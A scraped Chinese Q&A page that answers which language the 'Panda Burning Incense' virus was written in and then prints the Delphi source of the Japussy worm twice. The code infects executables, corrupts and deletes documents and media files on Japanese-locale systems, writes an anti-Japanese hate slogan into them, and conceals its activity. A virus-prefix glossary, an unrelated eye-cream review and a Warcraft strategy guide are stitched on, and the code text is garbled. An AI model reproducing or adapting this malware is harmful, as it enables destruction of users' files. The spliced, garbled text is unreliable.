有没有李俊“熊猫烧香”病毒的代码呀?他是用什么语言编写的?

有没有李俊“熊猫烧香”病毒的代码呀?他是用什么语言编写的?,第1张

熊猫烧香”病毒是用DELPHI写的,并不是C++

这里是瑞星的分析报告

http://itrisingcomcn/Channels/Info/Virus/2007-01-12/1168575524d39892shtml

以下是部分源码

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 124W 用法: upx -9 --8086 Japussyexe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

ID = $44444444; //感染标记

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato ' +

'If a country need to be destroyed, it must be Japan! ' +

' W32JapussyWormA ';

{$R RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (VerdwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := SrcPosition;

dCurPos := DstPosition;

SrcSeek(sStartPos, 0);

DstSeek(dStartPos, 0);

DstCopyFrom(Src, Count);

SrcSeek(sCurPos, 0);

DstSeek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStreamCreate(FileName, fmCreate);

try

sStreamSeek(HeaderSize, 0); //跳过头部的病毒部分

dStreamCopyFrom(sStream, sStreamSize - HeaderSize);

finally

dStreamFree;

end;

finally

sStreamFree;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Sicb := SizeOf(Si);

SilpReserved := nil;

SilpDesktop := nil;

SilpTitle := nil;

SidwFlags := STARTF_USESHOWWINDOW;

SiwShowWindow := State;

SicbReserved2 := 0;

SilpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[01] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSYEXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStreamCreate(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStreamSeek(i, soFromBeginning);

SrcStreamRead(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStreamSeek(-4, soFromEnd); //检查感染标记

SrcStreamRead(iID, 4);

if (iID = ID) or (SrcStreamSize < 10240) then //太小的文件不感染

Infected := True;

finally

SrcStreamFree;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStreamCreate;

DstStream := TMemoryStreamCreate;

try

aIcon := TIconCreate;

try

//得到被感染文件的主图标(744字节),存入流

aIconReleaseHandle;

aIconHandle := ExtractIcon(HInstance, PChar(FileName), 0);

aIconSaveToStream(IcoStream);

finally

aIconFree;

end;

SrcStream := TFileStreamCreate(FileName, fmOpenRead);

//头文件

HdrStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStreamSize);

//写入已感染的标记

DstStreamSeek(0, 2);

iID := $44444444;

DstStreamWrite(iID, 4);

finally

HdrStreamFree;

end;

finally

SrcStreamFree;

IcoStreamFree;

DstStreamSaveToFile(FileName); //替换宿主文件

DstStreamFree;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRecAttr <> 16) and (SearchRecName <> '') and

(SearchRecName <> '') then

Result := 0 //不是目录

else if (SearchRecAttr = 16) and (SearchRecName <> '') and

(SearchRecName <> '') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRecName;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = 'EXE') or (Ext = 'SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = 'HTM') or (Ext = 'HTML') or (Ext = 'ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

end

else if Ext = 'WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = 'ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = 'DOC') or (Ext = 'XLS') or (Ext = 'MDB') or

(Ext = 'MP3') or (Ext = 'RM') or (Ext = 'RA') or

(Ext = 'WMA') or (Ext = 'ZIP') or (Ext = 'RAR') or

(Ext = 'MPEG') or (Ext = 'ASF') or (Ext = 'JPG') or

(Ext = 'JPEG') or (Ext = 'GIF') or (Ext = 'SWF') or

(Ext = 'PDF') or (Ext = 'CHM') or (Ext = 'AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringListCreate;

if (FindFirst(Path + '', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDirAdd(SearchRecName);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDirCount - 1;

for i := 0 to Count do

LoopFiles(Path + SubDirStrings[i] + '', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + ':', ''); //感染之

SendMail; //发带毒邮件

Sleep(1000 60 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussyexe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + 'exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end

1、系统病毒

  系统病毒的前缀为:Win32、PE、Win95、W32、W95等。这些病毒的一般公有的特性是可以感染windows操作系统的 exe 和 dll 文件,并通过这些文件进行传播。如CIH病毒。

  2、蠕虫病毒

  蠕虫病毒的前缀是:Worm。这种病毒的公有特性是通过网络或者系统漏洞进行传播,很大部分的蠕虫病毒都有向外发送带毒邮件,阻塞网络的特性。比如冲击波(阻塞网络),小邮差(发带毒邮件) 等。

  3、木马病毒、黑客病毒

  木马病毒其前缀是:Trojan,黑客病毒前缀名一般为 Hack 。木马病毒的公有特性是通过网络或者系统漏洞进入用户的系统并隐藏,然后向外界泄露用户的信息,而黑客病毒则有一个可视的界面,能对用户的电脑进行远程控制。木马、黑客病毒往往是成对出现的,即木马病毒负责侵入用户的电脑,而黑客病毒则会通过该木马病毒来进行控制。现在这两种类型都越来越趋向于整合了。一般的木马如QQ消息尾巴木马 TrojanQQ3344 ,还有大家可能遇见比较多的针对网络游戏的木马病毒如 TrojanLMirPSW60 。这里补充一点,病毒名中有PSW或者什么PWD之类的一般都表示这个病毒有**密码的功能(这些字母一般都为“密码”的英文“password”的缩写)一些黑客程序如:网络枭雄(HackNetherClient)等。

  4、脚本病毒

  脚本病毒的前缀是:Script。脚本病毒的公有特性是使用脚本语言编写,通过网页进行的传播的病毒,如红色代码(ScriptRedlof)——可不是我们的老大代码兄哦 ^_^。脚本病毒还会有如下前缀:VBS、JS(表明是何种脚本编写的),如欢乐时光(VBSHappytime)、十四曰(JsFortnightcs)等。

  5、宏病毒

  其实宏病毒是也是脚本病毒的一种,由于它的特殊性,因此在这里单独算成一类。宏病毒的前缀是:Macro,第二前缀是:Word、Word97、Excel、Excel97(也许还有别的)其中之一。凡是只感染WORD97及以前版本WORD文档的病毒采用Word97做为第二前缀,格式是:MacroWord97;凡是只感染WORD97以后版本WORD文档的病毒采用Word做为第二前缀,格式是:MacroWord;凡是只感染EXCEL97及以前版本EXCEL文档的病毒采用Excel97做为第二前缀,格式是:MacroExcel97;凡是只感染EXCEL97以后版本EXCEL文档的病毒采用Excel做为第二前缀,格式是:MacroExcel,依此类推。该类病毒的公有特性是能感染OFFICE系列文档,然后通过OFFICE通用模板进行传播,如:著名的美丽莎(MacroMelissa)。

  6、后门病毒

  后门病毒的前缀是:Backdoor。该类病毒的公有特性是通过网络传播,给系统开后门,给用户电脑带来安全隐患。如54很多朋友遇到过的IRC后门BackdoorIRCBot 。

  7、病毒种植程序病毒

  这类病毒的公有特性是运行时会从体内释放出一个或几个新的病毒到系统目录下,由释放出来的新病毒产生破坏。如:冰河播种者(DropperBingHe22C)、MSN射手(DropperWormSmibag)等。

  8.破坏性程序病毒

  破坏性程序病毒的前缀是:Harm。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒便会直接对用户计算机产生破坏。如:格式化C盘(HarmformatCf)、杀手命令(HarmCommandKiller)等。

  9.玩笑病毒

  玩笑病毒的前缀是:Joke。也称恶作剧病毒。这类病毒的公有特性是本身具有好看的图标来诱惑用户点击,当用户点击这类病毒时,病毒会做出各种破坏操作来吓唬用户,其实病毒并没有对用户电脑进行任何破坏。如:女鬼(JokeGirlghost)病毒。

  10.捆绑机病毒

  捆绑机病毒的前缀是:Binder。这类病毒的公有特性是病毒作者会使用特定的捆绑程序将病毒与一些应用程序如QQ、IE捆绑起来,表面上看是一个正常的文件,当用户运行这些捆绑病毒时,会表面上运行这些应用程序,然后隐藏运行捆绑在一起的病毒,从而给用户造成危害。如:捆绑QQ(BinderQQPassQQBin)、系统杀手(Binderkillsys)等。

  以上为比较常见的病毒前缀,有时候我们还会看到一些其他的,但比较少见,这里简单提一下:

  DoS:会针对某台主机或者服务器进行DoS攻击;

  Exploit:会自动通过溢出对方或者自己的系统漏洞来传播自身,或者他本身就是一个用于Hacking的溢出工具;

是部分代码!

program Japussy;

uses

Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};

const

HeaderSize = 82432; //病毒体的大小

IconOffset = $12EB8; //PE文件主图标的偏移量

//在Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

HeaderSize = 38912; //Upx压缩过病毒体的大小

IconOffset = $92BC; //Upx压缩过PE文件主图标的偏移量

//Upx 124W 用法: upx -9 --8086 Japussyexe

}

IconSize = $2E8; //PE文件主图标的大小--744字节

IconTail = IconOffset + IconSize; //PE文件主图标的尾部

//垃圾码,以备写入

Catchword = 'If a race need to be killed out, it must be Yamato ' +

'If a country need to be destroyed, it must be Japan! ' +

' W32JapussyWormA ';

{$R RES}

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;

stdcall; external 'Kernel32dll'; //函数声明

var

TmpFile: string;

Si: STARTUPINFO;

Pi: PROCESS_INFORMATION;

IsJap: Boolean = False; //日文操作系统标记

{ 判断是否为Win9x }

function IsWin9x: Boolean;

var

Ver: TOSVersionInfo;

begin

Result := False;

VerdwOSVersionInfoSize := SizeOf(TOSVersionInfo);

if not GetVersionEx(Ver) then

Exit;

if (VerdwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x

Result := True;

end;

{ 在流之间复制 }

procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;

dStartPos: Integer; Count: Integer);

var

sCurPos, dCurPos: Integer;

begin

sCurPos := SrcPosition;

dCurPos := DstPosition;

SrcSeek(sStartPos, 0);

DstSeek(dStartPos, 0);

DstCopyFrom(Src, Count);

SrcSeek(sCurPos, 0);

DstSeek(dCurPos, 0);

end;

{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }

procedure ExtractFile(FileName: string);

var

sStream, dStream: TFileStream;

begin

try

sStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

dStream := TFileStreamCreate(FileName, fmCreate);

try

sStreamSeek(HeaderSize, 0); //跳过头部的病毒部分

dStreamCopyFrom(sStream, sStreamSize - HeaderSize);

finally

dStreamFree;

end;

finally

sStreamFree;

end;

except

end;

end;

{ 填充STARTUPINFO结构 }

procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);

begin

Sicb := SizeOf(Si);

SilpReserved := nil;

SilpDesktop := nil;

SilpTitle := nil;

SidwFlags := STARTF_USESHOWWINDOW;

SiwShowWindow := State;

SicbReserved2 := 0;

SilpReserved2 := nil;

end;

{ 发带毒邮件 }

procedure SendMail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染PE文件 }

procedure InfectOneFile(FileName: string);

var

HdrStream, SrcStream: TFileStream;

IcoStream, DstStream: TMemoryStream;

iID: LongInt;

aIcon: TIcon;

Infected, IsPE: Boolean;

i: Integer;

Buf: array[01] of Char;

begin

try //出错则文件正在被使用,退出

if CompareText(FileName, 'JAPUSSYEXE') = 0 then //是自己则不感染

Exit;

Infected := False;

IsPE := False;

SrcStream := TFileStreamCreate(FileName, fmOpenRead);

try

for i := 0 to $108 do //检查PE文件头

begin

SrcStreamSeek(i, soFromBeginning);

SrcStreamRead(Buf, 2);

if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记

begin

IsPE := True; //是PE文件

Break;

end;

end;

SrcStreamSeek(-4, soFromEnd); //检查感染标记

SrcStreamRead(iID, 4);

if (iID = ID) or (SrcStreamSize < 10240) then //太小的文件不感染

Infected := True;

finally

SrcStreamFree;

end;

if Infected or (not IsPE) then //如果感染过了或不是PE文件则退出

Exit;

IcoStream := TMemoryStreamCreate;

DstStream := TMemoryStreamCreate;

try

aIcon := TIconCreate;

try

//得到被感染文件的主图标(744字节),存入流

aIconReleaseHandle;

aIconHandle := ExtractIcon(HInstance, PChar(FileName), 0);

aIconSaveToStream(IcoStream);

finally

aIconFree;

end;

SrcStream := TFileStreamCreate(FileName, fmOpenRead);

//头文件

HdrStream := TFileStreamCreate(ParamStr(0), fmOpenRead or fmShareDenyNone);

try

//写入病毒体主图标之前的数据

CopyStream(HdrStream, 0, DstStream, 0, IconOffset);

//写入目前程序的主图标

CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);

//写入病毒体主图标到病毒体尾部之间的数据

CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);

//写入宿主程序

CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStreamSize);

//写入已感染的标记

DstStreamSeek(0, 2);

iID := $44444444;

DstStreamWrite(iID, 4);

finally

HdrStreamFree;

end;

finally

SrcStreamFree;

IcoStreamFree;

DstStreamSaveToFile(FileName); //替换宿主文件

DstStreamFree;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure SmashFile(FileName: string);

var

FileHandle: Integer;

i, Size, Mass, Max, Len: Integer;

begin

try

SetFileAttributes(PChar(FileName), 0); //去掉只读属性

FileHandle := FileOpen(FileName, fmOpenWrite); //打开文件

try

Size := GetFileSize(FileHandle, nil); //文件大小

i := 0;

Randomize;

Max := Random(15); //写入垃圾码的随机次数

if Max < 5 then

Max := 5;

Mass := Size div Max; //每个间隔块的大小

Len := Length(Catchword);

while i < Max do

begin

FileSeek(FileHandle, i Mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

FileWrite(FileHandle, Catchword, Len);

Inc(i);

end;

finally

FileClose(FileHandle); //关闭文件

end;

DeleteFile(PChar(FileName)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function GetDrives: string;

var

DiskType: Word;

D: Char;

Str: string;

i: Integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

D := Chr(i + 65);

Str := D + ':';

DiskType := GetDriveType(PChar(Str));

//得到本地磁盘和网络盘

if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then

Result := Result + D;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure LoopFiles(Path, Mask: string);

var

i, Count: Integer;

Fn, Ext: string;

SubDir: TStrings;

SearchRec: TSearchRec;

Msg: TMsg;

function IsValidDir(SearchRec: TSearchRec): Integer;

begin

if (SearchRecAttr <> 16) and (SearchRecName <> '') and

(SearchRecName <> '') then

Result := 0 //不是目录

else if (SearchRecAttr = 16) and (SearchRecName <> '') and

(SearchRecName <> '') then

Result := 1 //不是根目录

else Result := 2; //是根目录

end;

begin

if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then

begin

repeat

PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列,避免引起怀疑

if IsValidDir(SearchRec) = 0 then

begin

Fn := Path + SearchRecName;

Ext := UpperCase(ExtractFileExt(Fn));

if (Ext = 'EXE') or (Ext = 'SCR') then

begin

InfectOneFile(Fn); //感染可执行文件

end

else if (Ext = 'HTM') or (Ext = 'HTML') or (Ext = 'ASP') then

begin

//感染HTML和ASP文件,将Base64编码后的病毒写入

//感染浏览此网页的所有用户

end

else if Ext = 'WAB' then //Outlook地址簿文件

begin

//获取Outlook邮件地址

end

else if Ext = 'ADC' then //Foxmail地址自动完成文件

begin

//获取Foxmail邮件地址

end

else if Ext = 'IND' then //Foxmail地址簿文件

begin

//获取Foxmail邮件地址

end

else

begin

if IsJap then //是倭文操作系统

begin

if (Ext = 'DOC') or (Ext = 'XLS') or (Ext = 'MDB') or

(Ext = 'MP3') or (Ext = 'RM') or (Ext = 'RA') or

(Ext = 'WMA') or (Ext = 'ZIP') or (Ext = 'RAR') or

(Ext = 'MPEG') or (Ext = 'ASF') or (Ext = 'JPG') or

(Ext = 'JPEG') or (Ext = 'GIF') or (Ext = 'SWF') or

(Ext = 'PDF') or (Ext = 'CHM') or (Ext = 'AVI') then

SmashFile(Fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免CPU占用率过高引起怀疑

Sleep(200);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

SubDir := TStringListCreate;

if (FindFirst(Path + '', faDirectory, SearchRec) = 0) then

begin

repeat

if IsValidDir(SearchRec) = 1 then

SubDirAdd(SearchRecName);

until (FindNext(SearchRec) <> 0);

end;

FindClose(SearchRec);

Count := SubDirCount - 1;

for i := 0 to Count do

LoopFiles(Path + SubDirStrings[i] + '', Mask);

FreeAndNil(SubDir);

end;

{ 遍历磁盘上所有的文件 }

procedure InfectFiles;

var

DriverList: string;

i, Len: Integer;

begin

if GetACP = 932 then //日文操作系统

IsJap := True; //去死吧!

DriverList := GetDrives; //得到可写的磁盘列表

Len := Length(DriverList);

while True do //死循环

begin

for i := Len downto 1 do //遍历每个磁盘驱动器

LoopFiles(DriverList[i] + ':', ''); //感染之

SendMail; //发带毒邮件

Sleep(1000 60 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if IsWin9x then //是Win9x

RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程

else //WinNT

begin

//远程线程映射到Explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if CompareText(ExtractFileName(ParamStr(0)), 'Japussyexe') = 0 then

InfectFiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

TmpFile := ParamStr(0); //创建临时文件

Delete(TmpFile, Length(TmpFile) - 4, 4);

TmpFile := TmpFile + #32 + 'exe'; //真正的宿主文件,多一个空格

ExtractFile(TmpFile); //分离之

FillStartupInfo(Si, SW_SHOWDEFAULT);

CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,

0, nil, '', Si, Pi); //创建新进程运行之

InfectFiles; //感染和发邮件

end;

end

很多想买眼霜的朋友们在科颜氏牛油果眼霜和雅诗兰黛小棕瓶这两款中犹豫不决,这两款产品到底哪个比较好用一点呢?哪个的功效比较显著一点?下面我就给大家带来了这两款打牌眼霜的对比分析,一起来了解一下吧。

1科颜氏牛油果眼霜:

介绍:

双重保湿机制眼霜,带给肌肤最大的保水度,以及柔嫩的触感适合干性,中偏干,中性,中偏油,或敏感性肌肤。论补水保湿,那这肯定是个王者。这款眼霜也算是科颜氏家的明星级产品,从名字就能看出来,主打的成分就是牛油果油(又叫鳄梨油),其他的还有乳木果油和维生素E。

看了成分表之后很明显,这款眼霜保湿为主,兼有抗氧化的功能。能够缓解眼部干燥、防止干纹出现,并提亮眼周。

牛油果眼霜作为一款保湿类的眼霜已经做到极致了。无论是使用感还是效果,在这个价位里是无可匹敌的。别的眼霜尽管成分列出来都牛逼闪闪,但是一用就知道一个能打的都没有。

测评:

作为一枚26岁的混合偏干肌肤女生来说,用下来确实觉得它的效果就如同它的初衷一样,保湿补水。尤其适合缺水干燥的眼部,效果非常明显。除此之外,去黑眼圈啦,去细纹皱纹,去眼袋啊,都是大家强加于它的过高期望,所以弄得人家槽点无奈变多。其实如果我们都能理性客观的认同它就是一款最基础的保湿眼霜,不具备逆向解决已存在眼部突出问题的话,它应该会受到一致好评。毕竟它的成分摆在那里,温和天然,没有额外加高精尖科技成分,所以它的作用也就只是贴合皮肤最本质的需求:保湿补水。同时,它另一个最大的优点就是不长脂肪粒。的确如此,我这么爱长脂肪粒的人用完一罐也未长一颗。看到很多姑娘说它太油太厚,用了长脂肪粒了。我想这多半是没用对方法。

这个眼霜之所以保湿功效非常强大就是加了大量的牛油果油和乳木果油,营养成分如此之多必然导致膏体浓厚。

但是它的吸收能力比看起来强大很多,前提是在涂抹之前要用两个无名指轻柔的乳化,作用就是让浓厚的霜变成更好吸收的乳液质地然后再抹眼部。这样拍打然后再提拉抹匀超不过半个小时营养就会被吸收进去了,然后你就会明显的看到眼部没那么油了。我一般搓揉的时候都会哈气,这样能加速乳化。所以,美妞们以后再用眼霜时千万别再抠一坨直接上脸涂了,不然眼睛都会嫌弃你的哈哈。

总结:作为一个入门保湿的眼霜,是一个非常值得入手的产品,补水保湿能力超级强。但是改善眼袋黑眼圈就不行了。

2雅诗兰黛小棕瓶

介绍:

雅诗兰黛棕瓶抗蓝光眼霜,主打功效成分,二裂酵母发酵产物溶胞物,有很强的抗免疫抑制活性、促进DNA修复,有效保护皮肤不受紫外线引起的损伤,可以加强皮肤角质层的代谢,捕获自由基,抑制脂质的过氧化,具有美白、抗衰老、滋养皮肤的作用。兰蔻新精华肌底液、欧莱雅青春密码酵素精华肌底液也含有这种成分。但是,敏感肌不能用。因为功效成分对皮肤是有一定刺激性的,特别是这种含有大量功效成分的护肤品,只适合皮肤耐受性高的同学使用。

测评:

这是我入手的第二款眼霜,我是24岁开始使用眼霜。第一款是大宝眼霜,但是对于已经出现干纹两年的我没有用(干皮还爱揉眼睛的我,伤不起啊),于是买了雅诗兰黛小棕瓶眼霜打算试试。

雅诗兰黛小棕瓶眼霜是半透明质地,淡淡的棕色,没有什么特别的味道。先说肤感吧,这款眼霜的肤感较轻薄,有种眼周皮肤滑滑的感觉,整体使用感挺舒服的,眼周肌肤没有负担。

雅诗兰黛小棕瓶眼霜官方宣传的功效是淡褪熊猫眼、舒缓眼周肌肤干燥、淡化干纹、细纹。从成分上来看,这款眼霜的主要功效是抗氧化和保湿。就我的使用效果来说, 雅诗兰黛小棕瓶眼霜的淡化干纹效果真的很好,我两年的干纹一个星期左右就消了。但是黑眼圈的问题并没有明显的改善,我的黑眼圈也有一部分是因为眼部结构造成的,所以就淡化黑眼圈的功效我不好直接评价。

小棕瓶眼霜可以使眼周肌肤水润平滑,特别针对细纹,黑眼圈,干纹皱纹,眼周肤色不均等问题,眼周肌肤看上去更明亮更紧致,凝胶质地和细小分子,确实很适合眼睛周围的肌肤,滋润不油腻,温和不刺激。

使用方法:早晚各一次。使用蘸取勺蘸取少许轻点在眼周用无名指轻轻拍进眼周肌肤,注意不是涂抹。每次使用完毕后请清洗并晾干蘸取勺。

总结:如果你眼部出现干纹,又不喜欢厚重的肤感,选择雅诗兰黛小棕瓶眼霜肯定没错,祛干纹效果真的很好。

3雅诗兰黛小棕瓶和科颜氏牛油果眼霜哪个比较好用

这两款眼霜的还是有明显的差别。

首先牛油果眼霜就是属于基础保湿的,属于入门级别,秋冬用保湿效果还不错,但要想更高级别的效果,就没那么明显了。

适合眼部状态好滴年轻宝贝。

小棕瓶眼霜属于修护类眼霜,里面的二裂酵母发酵物是明星成分,能给细胞很好的修护,而且不含酒精香精。延展性,顺滑度都非常给力。除此之外还有特有的ChronoluxCB专利技术。这些是我做功课了解的,反正一听就很厉害。

眼霜还是要买好一点的,品牌做的大里面也是有真的含金量的。而那种网上炒火的奇奇怪怪的品牌,说一周效果就惊人的那种,我是真的不相信。无论什么眼霜,我觉得都要用两三只才能有明显的感受,效果也会表现出来。

这两款都是基本款眼霜,牛油果适用于学生族,小棕瓶适用于小白领,但是前提都是你只是想预防细纹,而且这两款眼霜真的真的不会长脂肪粒!

皮肤比较干和不介意厚重一点的质感的话可以用科颜氏牛油果眼霜。喜欢轻薄感觉而且不差钱的话可以安排雅诗兰黛小棕瓶眼霜。

熊猫一般是NE对HUM或UD使用的。熊猫的优势是超强大的片杀技能,弱点是需要高等级支撑,且移动速度慢。因此最好给熊猫配双鞋子

我详细讲讲熊猫使用的一些要点。

1开局,正常开局就好,一般来说,DR首发是练级为主,DH首发是骚扰为主。

2二本好后,招出熊猫,给主英雄配个保存。这里分对付HUM和UD略有不同的打法。

HUM:大多数HUM都会开矿,NE二本后一般会应该压制,那么熊猫出来后就第一时间去压制HUM,这波带上小鹿肯定是赚的,但是一般压不死HUM,待熊猫红血没蓝后就撤退回家,补给后快速练级,如果前期亏的很多,或者对手树塔龟缩在家无法压制,那就速度练到3级。

UD:熊猫出来还是要主英雄带保存,特别是对方天地鬼打法的尤其要注意,DK光环带狗很容易围住速度慢的熊猫。对付UD一般没办法二本压制的,因此立足是速度熊猫练3先做好侦查,确定UD不在附近再MF,最好的MF方式是DH跟着UD,熊猫带AC配合大树练级,小鹿出来MF效率就提高了。

3熊猫练级有大树肯定用大树扛血,如果大树被打爆了,最好是先出个熊来加血,对付HUM可以比较安心的练级,对付UD就要时刻警惕了。在小鹿没出来且熊猫没到3的时候不要过多跟UD纠缠,小鹿出来后可以打。

